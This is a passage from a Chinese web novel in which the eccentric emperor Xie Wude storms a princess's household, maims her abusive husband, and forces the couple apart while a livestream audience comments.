“我看琅琊王氏是真的彻底疯了!他们居然说什么‘人和人之间是平等的’。”驸马看着公主,语气讥诮,“你说说,你和我之间是平等的吗,公主殿下?” 公主的嘴唇嗫嚅了一下,低声道:“自……自然是平等的。” 但是她小时候她母亲可不是这么说的,她母亲以前说如果她出嫁之后有什么委屈就跟她说,她知道那些尚公主的驸马们都是什么态度,但是她母亲已经去世了。 “呵。”驸马冷笑了起来,用着一点鄙夷的眼神看着静安公主。 他从来没把静安公主看作是一个人,他把静安公主看作是一个困住他的锁链。 锁链是东西,而不是人。 其实他想说的是,静安公主怎么配和他平起平坐呢? 她长相一般,脑子更糟,甚至就连性格都没能让他觉得亮眼的地方。 但他从酒楼到茶馆再一路晃悠回来,酒已经醒了。 回想起之前在茶馆里说的那些话,他都感到些许后悔,现在自然不可能再说这么危险的话了。 静安公主一直想要努力让自己被自己的驸马接纳,但她做出的努力一直都没有什么用。 她心中甚至生出一丝后悔:如果自己之前在宫中的时候,和谢吾德这个弟弟多打些招呼、提前打好关系,那该有多好? 谢吾德谁都不在乎,他以前大概都没给静安公主一个眼神,但是静安公主可是会在意这些的。 就算没了母亲,她也有这个弟弟可以依靠,不至于像现在这样无依无靠的。 就在静安公主恍惚思忖的时候,有一个人走了进来。 驸马立刻站了起来,说道:“舅舅,你怎么来了?” “我过来问问你,什么时候能让我面见陛下?”来的人急切地问,这个问题他这段时间已经问过了很多次。 来的人是驸马的舅舅,邵褚,他在走进来之后也并没有给静安公主分多少注意力,就好像她是个空气一样。 驸马一家对公主是这样的态度是有自己的底气的,这不是因为他是世家的人,只要世家愿意联合,就连皇帝都要退让几分,而是因为邵家和谢吾德其实有血缘关系,谢吾德这身份的生母就姓邵,邵褚便是谢吾德“生母”的哥哥。 驸马赵善封从某种程度上也算是谢吾德的表哥。 没有一表三千里,但是一表八百里也有了。 公主未必能和她弟弟搞好关系,但是赵善封总觉得自己能和自己的表弟搞好关系。 邵家从未帮过谢吾德? 那没事啊,谢吾德也从来没见过邵家人。 人对自己没有见过的东西总会有一种朦胧的幻想。 邵褚完全可以演一个“完美舅舅”。 第85章 赵善封虽然觉得自己的舅舅这次能来到锦京有些奇怪——来得太快太顺利,自己舅舅没多少脑子,觉得是上天保佑,但赵善封认为这背后是其他世家在推手。 不过赵善封对这件事并不抗拒。如果他能让谢吾德对他另眼相待,谢吾德绝对不会在意区区“祖制”。 但只有自己的舅舅在,他才更好与谢吾德拉上关系。 邵褚看向了静安公主,用眼神问赵善封能不能通过她和谢吾德联系上。 赵善封摇了摇头,非常之直白地当着静安公主的面说道:“别指望她能帮上什么忙。”静安公主实在是没什么用。 “我这就等着这两天风头过去了,再跟陛下介绍一下您。”赵善封说道。临川陈氏都被满门抄斩了,在这种时候,要是和谢吾德上演温情脉脉的家庭戏码,那他们的名声就可以丢茅坑了。 静安公主只有在一旁坐着听的份,她没有半点发言权,就像一个木偶一样,呆坐在那里、 对能尚公主的人来说,他们就算家世已经逼近寒门那个层次了,也清楚尚公主根本不是什么荣幸,而是对自己未来事业的摧残。 不管年轻有什么抱负,在被尚公主的那一刻,他们的仕途就彻底断了。 更别提公主是一个完全不得宠的公主。 静安公主实在是坐不住了,她和两个人说了一声,然后径直离开了。 她依然像是空气一样,零人理会她。 静安公主郁郁地离开。 就在她出门的时候,公主府的下人急匆匆赶过来,说道:“殿下,陛下来了!” “什么?陛下来了?”静安公主猛地甩头,头上的发簪几乎要被甩掉了。 她和自己这个弟弟没有半分情分,谢吾德这个疯子来是干什么?. 谢吾德抬脚就踹在了公主府的大门上。 他大摇大摆地晃进了公主府中. 李真准备敲开公主府门的锤子也没能用得上,不过他也不意外,当初谢吾德逼宫的时候就是这么暴躁地踹门。 林耀祖看着那扇被谢吾德一脚踹掉的门,非常好奇谢吾德是用了什么样的力气,才能把这扇门平平地摔在地上,并且之后被谢吾德踩在脚下。 她感觉这好像不符合她的物理学常识。 公主府的位置也算是锦京的核心区域,更好的地方都被世家大族占据了。 像静安公主这样不受宠的公主,就只能住在核心稍微偏一点的地方。 她的邻居都是朝中的官员,而且往往都是大官。 南荣才经历了谢珖和谢吾德两任皇帝,所以静安公主的能够占据的位置比起未来的那些公主不知道要好到哪里去。 在听到家门口的动静之后,他们都纷纷地出来或者让家里的下人出来。 他们没有看到谢吾德,谢吾德动手十分利索,在踹开门之后就立刻走了进去,但是他们看见了李真,在看到李真恭恭敬敬地站在门外时,他们就知道大概发生了什么事情。 谢吾德又要干什么? 他把自己哥哥都杀了就算了,怎么还要对公主动手吗? 静安公主招惹了谢吾德吗? 静安公主不像是能招惹谢吾德的这种人啊。 虽然他们和静安公主没有多少接触,静安公主是一个连家门都不出的家伙,但是他们这些人对赵善封的性格有了解,赵善封的性格从头到尾都没变过,静安公主也不怎么出门,就算不接触也知道静安公主是怎么样没用的性格了。 这样的人会招惹皇帝吗? 不太可能吧。 总不可能是谢吾德准备替自己的姐姐出气吧? ……这好像也的确是谢吾德能干出来的事情。 静安公主不太可能会向谢吾德求助,但是谢吾德搞事什么时候还需要尊重当事人的意见吗? 他们这些人大多都不知道邵褚已经来了,所以居然一时间都相对了。 然而赵善封却并不这么认为。 他根本没往谢吾德是为静安公主出气那个方向去思考,他第一时间想到的就是对自己有利的方向。 该不会陛下是为了邵褚来的吧? 至于静安公主的存在根本就没在他的脑子里出现半秒。 谢吾德很明显是一个恩怨分明的家伙。 静安公主对他没有恩,但也没有怨。 谢吾德连朝堂上的事都不怎么在乎,会在乎静安公主这区区一个公主吗? 至于谢吾德踹门,那大概是因为邵家在谢吾德登基的时候不闻不问,让谢吾德产生了一丝怨怼,所以先上来就给个下马威。 不直接抄家就是谢吾德大发慈悲了啊。 赵善封想要赶来这里还需要一段时间,但是静安公主已经赶到门口迎接谢吾德了。 “陛下,您今日前来是有什么事情吗?”静安公主首先问道。她离门口最近,现在是由她站出来说几句话,而且谢吾德是她的弟弟,所以理应由她出来接待。 静安公主来得匆忙,所以身上的衣服有点凌乱,以至于谢吾德愣了一下才认出她是谁。 “你就是我那个姐姐吧?”谢吾德一脸兴奋地窜了过去,看着就像是看到了糖果的小孩子一样。 静安公主后退一步,生怕谢吾德过来拉住她的手,满眼放光地说点什么疯话。 然而谢吾德并没有拉起她的手,他只是和静安公主隔着一段距离,但是的确是一脸兴奋:“亲爱的姐姐,我听说你被人欺负了?没关系没关系,我来帮你撑场子!快来说说你是怎么被欺负的?” 谢吾德这个样子,不像是来帮人撑场子的,更像是来听人笑话的。 这种毫无情商的问话方式,换个人大概会被打。 但是很显然,公主只是喉咙滚动了一下,没能说出任何抗拒谢吾德这种发言的话。 在他面前,她甚至都不敢委婉地劝谢吾德一句。 反倒是尔雅说到:“公主殿下现在似乎有点为难。” 静安公主松了一口气,这口气刚松岛一半,她就听到尔雅继续说到:“锦衣卫那边应该已经知道情况了,所以陛下不如直接听听锦衣卫那边的汇报吧。” 听到这里,静安公主并没有觉得被解围,她瞬间大感恼火,这是她的家事问锦衣卫算是什么情况。 尔雅对着静安公主,礼数看似周全,但是眼睛里并没有多少尊重的意思。 静安公主反而微微垂下头,不敢瞪人了。 谢吾德看着静安公主的表情变来变去,他用手指撑着下巴,用一种轻飘飘的眼神审视着静安公主。 他的眼神不再热切,静安公主心说糟了,该不会有人向陛下进献谗言了吧? 然而静安公主终究没有来得及向谢吾德解释发生了什么事情,驸马已经赶来了。 赵善封看着谢吾德,满脸的惊喜,对着谢吾德深深一礼,然后说道:“参见陛下!今日臣觉得自己红光满面,就知道必然是有好事发生。” 他的声音热情饱满,动作甚至是有点夸张,他看上去相当兴奋。 他这一番抢白,搞得谢吾德有点懵,那种轻飘飘的眼神也瞬间消失,就像是看着电视剧问保大保小的时候已经做好了有人要回答保尔柯察金的时候保定了。 这剧本是不是哪里不对。 谢吾德想要看的不是这个。 驸马应该先哭天抢地,说自己冤枉,谢吾德说朕大慈大悲不会杀他之后让李真杀了他,解锁特殊CG“就说是不是朕杀了你吧”。 谢吾德在某一瞬间甚至怀疑是不是亚夏忽然吧自己拖入了别的世界? 亚夏现在招数可多了。 但是他扭头看了看正在往门板上跳的亚夏,觉得他又没理由去做这些事情。 谢吾德对自己这个身份那些复杂的亲缘关系没有半点研究。 家里有什么亲戚,这种事情他根本就不在意。他真实身份的亲戚他有的时候都记不住,更别提在这个世界上让他摸不着头脑的亲戚了。 “你认识我?”谢吾德忍不住挠着头问道。 别人不认识他,他却认识别人,这种事情说出来很尴尬,但是谢吾德也基本习惯了。 “这天下谁人不识陛下呢?恐怕纵使远在萧国,陛下的威名也是让人两股战战。”赵善封毫不吝啬地吹捧谢吾德,“臣已经仰慕陛下已久了。” 这是一个很有眼色的家伙。 谢吾德看了看他。 好家伙,这是哪里来的狗腿? 难道自己也解锁了远程畜牧业的技能? 他忽然有点舍得去殴打这样一个擅长拍马屁的人物。 至少,今天不太想打。 谢吾德还算是伸手不打笑脸人的。 谢吾德敢说对方绝对不是他的信徒,那么第一次见面就拍这么露骨的马屁的人真不多,即使是余文彦这种识时务者为俊杰的家伙也会矜持几分,生怕遇到了同僚们的中式霸凌。 世家和文官都是要脸的,就算想讨好谢吾德也会矜持几分。 除非对方是看上自己的脸了。 谢吾德想了想。 这也不奇怪。 除了完全不懂爱情的幼儿园和小学的时候有同学说喜欢他,等他长大一点,反而没人说喜欢他了,纯粹就是他那天生寡王的气场让人都完全生不起半点感觉来。 不过喜欢他的脸而靠近他是另外一回事。 谢吾德在某种程度上,整天嘻嘻哈哈脑子有病看起来可比好像死了一样的亚夏要更有亲和力一些。 但是……一般更喜欢主动靠近他的不都是女性吗? 男性一般都只是在谢吾德提出请求的时候更好说话一点。 谢吾德看着赵善封,表情忽然变得奇怪了。 哥们,你该不会喜欢男人吧? 第86章 谢吾德并不是完全的直男,他其实是对男人和女人都没有什么感觉,别人喜欢男人或女人对他来说也都无所谓,他也不恐同。但是赵善封他可是驸马啊。 有老婆还喜欢男人……这算是骗婚吧? 谢吾德可是铁血纯爱党,看漫画搞三角恋都要气得胃疼半天。 等等,这里是古代,虽然不是三妻四妾,但也是一妻多妾,现代意义上的一生一世一双人根本就不存在。 ……但是还是好变态。 静安公主看着赵善封那副谄媚的样子,她的表情有一点奇怪,像是在嫉妒,又像是在怨恨。 亚夏踩在倒下的门板上——他就喜欢找高的地方站着,但是他不像谢吾德那样可以毫不在意地踩在别人家的门槛上,所以亚夏就折中站在了门板上。 他看着静安公主的表情,微微地摇了摇头。 谢吾德总说他圣父心,总是想要得到一个最好的结局,但是实际上亚夏觉得自己根本就做不到绝对完美的反感,他也没有心力去做那么完美了,所以他也就只能做做自己的本职工作。 亚夏的糟心事见多了,所以他一看静安公主就知道谢吾德处理静安公主的事情绝对不会愉快。 亚夏一看这个女人就觉得她的精神不太对劲。 谢吾德也就是当局者迷,如果他和亚夏的角色互换,他就该劝亚夏不要管这个女人了。 谢吾德看着一步步向他靠近的赵善封。 人可以不太正常,但总要有点逻辑吧? “就在那里,别再靠近了。”谢吾德指着赵善封说道。 赵善封也很识趣,他满脸殷勤地和谢吾德保持了距离。 谢吾德说:“我们从头捋一下整件事情。” 谢吾德觉得现在的气氛糟透了,他明明是来找茬的,结果现在却要开始讲道理了。 找茬的时候讲道理是一件很没气势的事,谢吾德又不是来讲道理的,他是来找茬的,谢吾德可不接受这种破坏他气势的事情。 赵善封也终于觉得事情不太对劲了。 他直觉觉得谢吾德接下来要说的事情对他没有好处,所以他对谢吾德说道:“陛下远道而来,不如尝尝我家中厨子的拿手点心吧。” 谢吾德成功捋顺了自己的思路,他指着静安公主说道:“听说你在驸马那边受了气,可能还受了伤,有没有这样的事?” 静安公主身旁的侍女看向了静安公主的手臂。 谢吾德几乎是同时看向了静安公主的手腕——那里有一片淤红。 静安公主试图用袖子挡住自己受伤的手腕。 “……还真有这样的事情啊。”谢吾德看向了赵善封。 赵善封的表情变了一下,但是却很快地就镇定了下来,他想明白了这次谢吾德来是为了什么。 “陛下,还请不要听小人谗言,这只是我自己一不小心碰到的。”静安公主抿着嘴唇说道。 谢吾德:“……”他是不愿意动脑,但是如果真的是静安公主自己碰的,那为什么会像是寻求答案一样看向赵善封? 谢吾德用鼻孔出了一口气,他看着静安公主:“那就是你身边的人照顾不利了?” 静安公主身边的侍女立刻白了脸。 “一切都应该由陛下决断。”静安公主说道。 谢吾德再次沉默。 林耀祖呲着牙,觉得事情要糟。 静安公主这话是什么意思?直接甩锅给谢吾德? 谢吾德如果真的杀了她的侍女,那就是谢吾德无情,她就是一个白莲花? 静安公主是不是傻了吧唧啊? 谢吾德再不愿意动脑也不至于看不出来这么明显的事情。 这分明就是在激怒他。 亚夏面无表情地在心里叹了一口气。 静安公主就是那种纯粹地被封建礼教洗脑傻了,对赵善封有点斯德哥尔摩了。 让她一辈子和赵善封受罪,她是不愿意的,但是要是让她和赵善封分开,那她更是不乐意。 她有一百个理由。 静安公主彻底傻吗? 好像也不至于。 她应该能够感觉到谢吾德就是站在她的立场上给她说话的,所以在某种程度上,谢吾德成了不会伤害她的人。 那她对谢吾德就没什么忌惮了。 这种剧情不是亚夏安排的,他也不喜欢这样让人胃疼的剧情,但是封建时代完全能把正常人搞疯。 “好,我说就是你驸马的错。”谢吾德翻了个白眼。 他这个人最大经验也就到自己二十二岁,封顶就是一个大学生,没有接触社会,没有上班,但是有些事情在学校就能遇到。 比如说明明是帮其他同学打回去,结果老师来了,被帮助的人却自己溜了,独留他被老师训,等着回头去找那个家伙的时候,那人又摆出一副可怜兮兮的样子,揍这种人就跟虐待动物一样。 太不愉快了。 “陛下!”静安公主立刻提高了一点声音。她看上去不再像之前那样怯生生的。 赵善封的眼皮一跳。 他很讨厌静安公主,不管哪个公主嫁给他他都不会高兴的,但是静安公主却是一对糟糕选择中比较好的那一个,因为她脑子不是那么好用,性格还懦弱,只要赵善封性格强势,就算会伤害到她,她也只会一点点依附上来,以他为主。 所以名义上的公主府都快变成实际上他的宅邸了。 公主原本的侍从也变得全都听他的话了。 只是现在,静安公主那不灵光的脑子实在是太危险了。 他知道静安公主如果继续和谢吾德对着干的话,完全会让局势恶化。 “公主……”赵善封觉得自己得赶紧让静安公主闭嘴。 静安公主惊慌地看向他。 谢吾德抬手,隔空就把赵善封的舌头切掉了。 张嘴说话是吧?在很多人的认知中那这舌头就是暴露在外了,很方便谢吾德顺手切下来。 静安公主捂着嘴,她连忙跑到赵善封的身边,赶紧扶住他,赵善封捂着自己的嘴,感受着嘴巴里那一大块肉块,他快要疯了,他吐也不是含也不是,满嘴都是血腥味。 他被静安公主一扶,只要脑子里有静安公主是这次的罪魁祸首的念头,他就控制不住自己的情绪粗暴地用胳膊肘把人挥开。 静安公主满脸悲愤地看着谢吾德。 而远处本来打算慢慢地赶来的邵褚听到这里的动静小跑着赶来,来了之后就看到这么血腥的一幕,给他吓得立刻缩在了柱子后面了,一声不敢吭。 谢吾德看着静安公主那排斥他的样子,气笑了。 这人是不是窝里横啊? 什么锅配什么盖。 谢吾德原本是想要来殴打姐夫的,结果现在他的仇恨目标忽然转移了。 想把他打发走之后装好人,再和驸马亲亲热热地当一家人? 怎么可能? 他就是来拆庙……不,拆婚的。 他才不管静安公主的个人意愿。 谢吾德不会反思自己上来直接对对方的丈夫发起抨击有没有什么问题——就算直接问他他也不觉得有什么好反思的。 他只觉得静安公主要反思。 谢吾德看着静安公主问道:“你对朕有什么不满吗,公主殿下?” 他说话听上去阴阳怪气的。 静安公主满脸泪痕,看着谢吾德,虽然眼神中有几分不服,但终究收到了赵善封之前的警告,一句话都没敢说。 林耀祖看了看自己的弹幕,所有人都被这神展开给惊到了。 谢吾德明明是来给姐姐撑腰的,怎么事情会变成现在这个样子? 【知道的是觉得他是来给姐姐撑腰的,不知道的还以为他要杀自己姐姐全家呢。】 【现在不就是在杀姐姐全家了吗?】 【那事情不是更离谱了?本来是给姐姐撑腰的,结果要变成杀姐姐全家了。】 【说起来这个静安公主的驸马怎么这么自信地觉得谢吾德不会对他动手?之前看他迎接谢吾德的时候还乐呵呵的。谁给他的自信?】 有历史学家立刻说道:“实际上,驸马赵善封应该算是谢吾德的表哥,一表三千里,那也是表哥。” 荣朝武宗时代的历史本身很乱,但是族谱之类的东西保留的还算完好。 【所以驸马是以为表弟来见表哥了吗?】 大家立刻感叹着“本是同根生,相煎何太急”这样的话。 这个世界从秦朝开始就与真正的世界历史产生了区别,但是兄弟相残这种事情从来都不少见,自然是有类似的话传了下来。 【这个女人是不是傻啊?她怎么把局势变成了现在这种对她最不利的情况?】 尔雅都要没眼看了,她可是知道赵善封和谢吾德之间那点微薄的关系。 没人能想明白静安公主这既是谢吾德同父异母的亲姐姐,又是谢吾德表哥的妻子的身份,怎么能把事情搞到这种地步。 这牌给她她都没法打成这个样子。 虽然谢吾德上门来算账很麻烦,但是这也是和谢吾德近距离接触的机会。 谢吾德原本是不生气的,他纯属是来看乐子的,然而短短十分钟,他就炸毛了。 静安公主能让谢吾德大为光火,也算是她的“本事”。 “你怎么不说话呢?”谢吾德看着静安公主,怒火上涌。 他也不管自己一开始是不是来帮姐姐出头的了,满脑子想的只有战斗爽。 静安公主保持沉默。 赵善封真的是在心底里尖叫了。 想要跪下来求她说点什么好听的话。 一直沉默,这不就是一种沉默的不配合吗? 气氛凝滞了一会,谢吾德一直没有等到静安公主的回答。 谢吾德搞明白了事情的症结所在,便一抬手,直接把赵善封隔空薅了过来。 赵善封在谢吾德那无与伦比的力量面前,就像是一条待宰的活鸡一样扑腾着手臂,被扯了过去。 静安公主见状立刻扑了上去,她一双手紧紧抱住了赵善封的胳膊,把自己整个身体都挂了上去。 她没有阻止赵善封被谢吾德拖过去,但是她成功地把赵善封给扯疼了。 赵善封吃痛之下,喉咙一紧,他把那条被他自己含住的属于他自己的舌头直接给咽了下去,惊慌之下发出了模糊不清的“嗬嗬”声,嘴巴一直往外喷血。 这场景看上去就像是农村过年宰杀鸡鸭一样。 林耀祖对眼前这个画面实在是不忍直视,她想要闭上眼睛,但是弹幕有很多混邪乐子人,他们就爱看这些东西,疯狂地给林耀祖打赏,还劝林耀祖看开一点。 【反正你拦不住谢吾德。】 【这可是研究历史的好素材呀。】 林耀祖不管,她把镜头往旁边一按,自己闭上了眼睛。 谢吾德踩在了赵善封的身上,他看着一并被拖过来的静安公主,说道:“好了,回答我的问题吧。你要是不愿意回答,那我就切掉他一截腿。反正他的腿也不算短,够我切成很多段了。” “你对朕,有哪里不满?” 静安公主的脸是绿的。 赵善封的脸是白的。 大概只有谢吾德的脸是微微发红的,那也是气的。 门口围观的人都吸着凉气。 好家伙,谢吾德真的是来杀姐姐的? 他们家的皇帝的确是天字号第一暴君啊. 林耀祖还是忍不住,去问尔雅:“陛下还记得他一开始的目的吗?” 尔雅看着林耀祖,觉得她实在是太天真了。 “陛下什么时候会搞这样的事情了?”她平静地说。 第87章 “臣对陛下绝无任何不满。”静安公主低声道。 “不不不。”谢吾德立刻摇着手指,明明知道静安公主的话会让他不高兴,却依然坚持去提问,“你肯定对朕有不满的,不然你用这种眼神看着朕干嘛?” 亚夏翻了个白眼。 从某种角度来说,静安公主就是没救了的人。 不要指望从她嘴里听到什么悔过的话,她不是小孩子,成年人一个比一个固执,也不能指望她能主动作出改变,真想改变的人,是不会像静安公主这样毫无反抗的。 她完全就没有改变的压力。 她不喜欢现在的生活,但是改变让她更难受。 改变需要她做出和以前不一样的事情,需要她思考,需要她否定以前的一切,相比起这些,还是对其他人说是是是好好好更容易。 整个世界都是这样的,想要拯救一个人对他这种学术派苦于实践的人来说实在是太难了。 和这种人较真,会气得好几天晚上睡觉都想着那个人。 他们已经是很不在意别人想什么的人了。 温特对此绝对深有体会. 静安公主又沉默了一段时间。 就在谢吾德做出明显不耐烦的表情时,她立刻说道:“陛下!驸马好歹是我的丈夫,陛下怎可如此对他?!” 谢吾德对她这终于带点实质反应的答案感到些许满意。 有什么话就直说,看她这遮遮掩掩、羞羞答答的样子算什么? 好像谢吾德欺负她一样。 静安公主说完这句话,便想着把赵善封从谢吾德的脚底下往外拖,却又被谢吾德踩住了:“啧,你急什么?话还没问完呢。” 静安公主的嘴唇嗫嚅了一下,她应该是想骂人的,但最后没能骂出口。 谢吾德问道:“朕想安排你和你的驸马和离,你有什么异议吗?” 静安公主本已勉强冷静下来,听到这句话又开始挣扎,她声音里满满的都是凄苦:“陛下,我要是与驸马和离,其他人又要怎么看我?我会成整个锦京的笑柄的。” “看就看了,又能怎么样?”谢吾德以己度人……也不算,其实他是知道的,但是这并不妨碍他用自己的标准去衡量别人,“别人还能把你看死吗?你当你是卫玠吗?” 他又说了一个别人听不懂的梗。 静安公主依然把头摇的像是拨浪鼓一样,她头发上的发簪已经勉强地挂在了她的头发上,要掉不掉的:“臣妾与驸马已约定一生一世一双人,要白头偕老的,现在又怎能抛弃驸马?” “如果我说,你不抛弃他,你就要守寡了呢?那又怎样?”谢吾德抱起手臂,看着静安公主。 赵善封满嘴都是血,觉得自己像是吵架的道具一样。 林耀祖觉得静安公主越犟,谢吾德就越要折磨赵善封。 静安公主可能并不在意谢吾德折磨她,因为她已经习惯了这种折磨,所以谢吾德就从善如流地去折磨赵善封了。 静安公主一下子安静了下来,她皱着眉,脸颊两边的肉抽动着,似乎有话想要说,但她低头看向了躺在地上的驸马赵善封。 赵善封也用夹杂着绝望、愤恨和鄙夷的目光看着静安公主,生怕这个妻子又忽然说出些让别人——尤其是谢吾德无法接受的话。 倒霉的只有他。 静安公主反复喘息了几次,什么话都没说。 就在这时,有人走了出来,说道:“陛下!参见陛下!” 一个中年男子跌跌撞撞地跑了出来。 谢吾德看着这个完全不认识的家伙,抬起手,似乎想把这个人体某个部位剁下来给他个下马威。 谁让他在别人吵架的时候插嘴? 那人看到谢吾德的动作,猛地扑通一声跪了下去:“陛下!请勿如此!臣……臣好歹也是您的舅舅啊!” 谢吾德“嗯?”了一声,眯眼看着他:“舅舅?” “是,是的!臣的妹妹,便是已经过世的邵太后!”邵褚已经不在意自己说的话是否委婉了,也不管他们之前想要尽量淡化自己那个死去的妹妹,仅仅是强调他和谢吾德之间的舅甥情。 谢吾德只是嗤笑道:“什么太后,朕可没有太后,没有太后,又有什么太后的哥哥。” 邵褚头皮一紧,忙道:“陛下,若以血缘论,臣……应算是您的舅舅。” 邵褚眼见气氛凝固,现在完全不出面,事后谢吾德若问起,难免会在他身上留下“懦弱无用”的标签,之后谢吾德还指不定怎么祸害他,所以他看到现在似乎有适合他出现的机会就出来了。 邵褚很担心谢吾德会觉得他是个废物。 静安公主就是那种懦弱得让谢吾德生气的类型。 有这前车之鉴,邵褚自然要警惕起来的。 谢吾德上下打量了他一番,然后“嘁”了一声。 谢吾德成长的家庭虽然不是这个身份背景设定的那样是统治阶级,只是个普通家庭,可他绝对不缺爱。 他看着邵褚,说道:“给钱吧,或者别的也行,见面礼呢?” 谢吾德又不是没有亲舅舅,他的亲舅舅给他花钱从不犹豫,去哪旅行都会惦记着给他带东西。 邵褚算是什么? 邵褚以为谢吾德没有舅舅,也没有体会过亲情,邵褚如果扮演一个好舅舅,谢吾德就会轻易地被他骗过去,可是谢吾德见过真正爱他的人,又怎么会被外面的人随随便便地骗了感情? 他有时候什么都不在意不仅是他性格就是这种淡漠不在意的,也是因为他是真的不缺别人给他的那点爱。 邵褚被谢吾德这神来一句搞得有点懵。 他想当皇帝的舅舅,可不是为了给皇帝打钱的,他是想从皇帝手上抠出点东西来的。 “臣……呃……”邵褚把自己腰间的玉佩拆下来,这也算是他身上最值钱的东西之一了。 谢吾德看了一眼,嫌弃地挪开了眼睛。 玉都是得盘的,谢吾德才不会去碰别人盘过的东西,全都是手油,脏死了。 既然不知道他的喜好,那不如直接打钱来的实际。 “就这?”谢吾德单手叉腰,“你没钱吗?” 邵褚哽住了。 他有钱吗? 没钱啊。 说起来还是因为谢吾德。 谢吾德那双眼睛一看就不是谢珖亲生的,所以邵家被赶出了锦京,现在过得很落魄。 不至于完全没钱,但是手头上那些钱都是有用处的。 他还指望谢吾德能给他钱呢。 谢吾德看看这个感情不纯粹也没钱的傻子,轻蔑地移开了视线。 小子,他活这么多年都没被骗过钱,还想诈骗他? 赵善封看着邵褚站出来,本来的眼里还有几分希冀,但在听到谢吾德的话又看到邵褚那犹豫的表情后,气得血压飙升,嘴里涌出的血更多了。 谢吾德低头看看赵善封,觉得就算自己不动手,他恐怕也要失血过多。 谢吾德重新把目光转回静安公主身上,他对静安公主说道:“这样吧,如果你和他和离,朕就救他的命,如何?虽然你们失去了爱情,但他保住了性命。” 静安公主条件反射地想顺着谢吾德的句式回一句“虽然他保住了性命,但他失去了爱情”,但在这话说出口之前,她及时找回了脑子,只是抱着赵善封。 赵善封再次用眼神催促她,想让她离自己远一点。 他觉得现在这些事都是因静安公主而起。 静安公主就不能装得好一点吗? 直到现在,赵善封都没有反思过自己在茶楼里说的话——或者说他现在已选择性地忘记了,而且那话本就是他心中所想。 那话就算被谢吾德听到又如何? 谢吾德又从未公开支持过琅琊王氏,他顶多是对王家的小动作不闻不问罢了。 他只是觉得这话说得糟糕,不是觉得这话说错了。 现在,如果谢吾德问他,他绝对会大声说他赞同静安公主和离。 可惜他现在舌头被割了,根本无法替静安公主发言。而且看谢吾德的样子,恐怕也不屑于听他说的话。 谢吾德从头到尾都没把赵善封放在眼里。 ……也是,什么表哥,那对谢吾德来说,还能有亲哥哥值钱吗? 他之前以为谢吾德对亲哥哥能够下手是因为远香近臭,和几个皇子的冲突很多,现在看来,谢吾德根本就瞧不上这点感情。 这根本就不合理啊。 谢吾德是个有正常感情的人吗? 赵善封很难形容这种感觉。 在很多封建的人眼里,有什么事都是优先和男人商量,女人和小孩都是被撇在一边完全没有发言权的。 而谢吾德此刻就是把赵善封撇在了一边,让他扮演了自己脑子里“女性”的角色。 他以前不认为这有什么不对,所以现在也很难为这憋屈的感觉命名。 谢吾德等待着静安公主的回答。他从李真那里随便要了把小刀,拿着这把小刀,顺手往地上一扔,就扔在赵善封脚边,刀尖深深嵌入了砖缝里。 静安公主抱着驸马哭哭啼啼道:“陛下……” 她哭得再可怜,实际上也没妥协。 光听声音还以为静安公主有多爱赵善封呢。 谢吾德又把一把小刀扎在了赵善封的大腿上。赵善封哀嚎一声。 “夫妻本是同林鸟。”静安公主说。 ……大难临头能不能各自飞啊? 赵善封觉得自己终于认清了这个事实:自己从来没把这位公主妻子放在眼里,而公主实际上也没把他放在眼里。 她嘴上口口声声说着爱他,却能眼睁睁看着他被人折磨,甚至濒临死亡。 她甚至不肯糊弄一下谢吾德,想办法在之后和他藕断丝连。 这是爱情吗? 她根本就是只忠于自己脑子里的爱情。 驸马是谁根本就不重要。 不管是赵善封、李善封、张善封还是王善封,反正她不允许有人破坏他们之间的关系。 赵善封用自己最后一点力气踹开了她。 静安公主被踹倒在地,头上的发簪还是落了地。 赵善封冲着谢吾德的方向使劲磕了几个头,便如丧家之犬般向外连滚带爬地跑走了。 他什么话都没说,但是他的态度已经很坚决了。 什么世家的体面,那都不重要,再这样下去就要死了。 他爬到门槛边,亚夏跟李真赶紧给他让了道,看着赵善封痛苦地从门板上跌跌撞撞地逃离。 这个驸马,谁爱当谁当吧,他是不干了。 只要他给静安公主下面子,让静安公主的坚持被他否定,谢吾德这样肯定不会计较他的错误,能够让他活着离开。 他还有父母,到时候还能活下去。 谢吾德静静看着这一幕。 人的求生欲还真是没有极限的。 他没指望静安公主能想明白事情,但是这驸马为了活命,居然这么努力,这让谢吾德都不好意思继续踩着人了,在看到他把静安公主踹开之后,他就松开脚,把人给放走了。 谢吾德看着静安公主大声嘲笑:“看来朕的姐姐终究是痴心错付、所托非人了!相信姐姐以后也能找到其他良人,想来定会比这驸马合适得多。” 说完,他也不在此地多留,直接转身,几乎算是蹦跳着出去了。 赢了! 果然,他是这个天下第一驴脾气的人,他不允许任何一个活人比他更倔。 静安公主看看左右,又看了看地上那一滩血,不顾体面地捶地。 邵褚看了看静安公主,只是叹了口气,便也绕开她,跟着谢吾德离开了。 他以前也不喜欢静安公主,但是静安公主现在这个样子太过于凄惨了,很难不让人同情。 静安公主身旁的侍女沉默不语,之前静安公主说的话做的事已经触碰到了他们这些下人的底线了,又有几个人敢向静安公主伸出援手呢? 在所有人离开之后,这个院子变得无比寂静。 门外有其他家的夫人探头进来,想问静安公主究竟发生了什么事。 静安公主坐在地上,嚎啕大哭:“我也想知道发生了什么事啊!谢吾德、谢吾德他就是个疯子啊!” 周围的人听到静安公主这句话,肯定都离远一点了——这话可不能随便听。 他们倒是看整个谢家就没几个不疯的。 真的,开国皇帝是不是造了什么孽,怎么到了现在,谢家人的脑子就没几个正常的。 第88章 谢吾德此刻正坐在宫殿的房顶上,他带着亚夏一起。 亚夏扭头看看谢吾德,干脆坐在了他的腿上。 这个视角实在是太矮了,他喜欢占领高地。 他和谢吾德的关系根本就不是用常理可以理解的。 平时哈气又挠人,有时候挠着挠着又会开始相互舔毛。 他们两看相厌,但是在这个世界上能够理解自己的也就只有自己了。 谢吾德也不抱他,只是叹了口气,往嘴里塞着巧克力棒,当压力大的时候,总爱吃点东西,只有食物能让他感觉到最原始的快乐。 谢吾德看着天上的月亮,伸手拉开了面板,看着赵善封的结局。 赵善封在半路上被赵家的下人找到,赶紧送去了医馆,赵善封还年轻,不到三十岁的人,正是身强力壮的年纪,稍微救一下就活了。 赵善封也想要回到赵家,但是他的母亲来看了他一眼,却完全没提这件事。 谢吾德看了一会,不太确定地问:“这人……算是被抛弃了吗?” 亚夏看了一眼:“是啊,你可以跑去嘲笑他‘你爸爸妈妈不要你了’。” “真的吗?”谢吾德嚼嚼嚼,“那你先从我腿上下来。” “别丢人。”亚夏无语。 跟谢吾德不能说半点反话。 他不是听不懂,他就是喜欢作,把反话当真处理很有趣,而且说反话的人自己绝对受不了他这么做的。 